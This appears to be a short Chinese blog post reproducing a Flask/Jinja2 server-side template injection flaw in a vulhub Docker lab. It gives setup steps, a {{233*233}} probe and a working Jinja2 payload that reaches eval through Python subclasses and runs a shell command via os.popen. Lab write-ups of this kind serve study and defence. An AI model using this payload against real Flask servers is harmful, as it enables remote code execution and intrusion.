flask 服務端模板注入漏洞復現
水下月2021-02-04 14:12:39
漏洞原因
服務器模板注入 (SSTI ) 是一種利用公共 Web 框架的服務器端模板作為攻擊媒介的攻擊方式,該攻擊利用了嵌入模板的用戶輸入方式的弱點。SSTI 攻擊可以用來找出 Web 應用程序的內容結構。
漏洞復現
1.cd /vulhub/flack/ssti //進入到ssti的目錄下
2.docker-compose up -d && docker-compose build // 加載環境并運行
3.然后在瀏覽器上訪問http://your-ip:8000
4、訪問http://your-ip/?name={{233*233}},得到54289,說明SSTI漏洞存在。
5、 獲取eval函數并執行任意python代碼的POC: //獲取os
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
水下月
暫無描述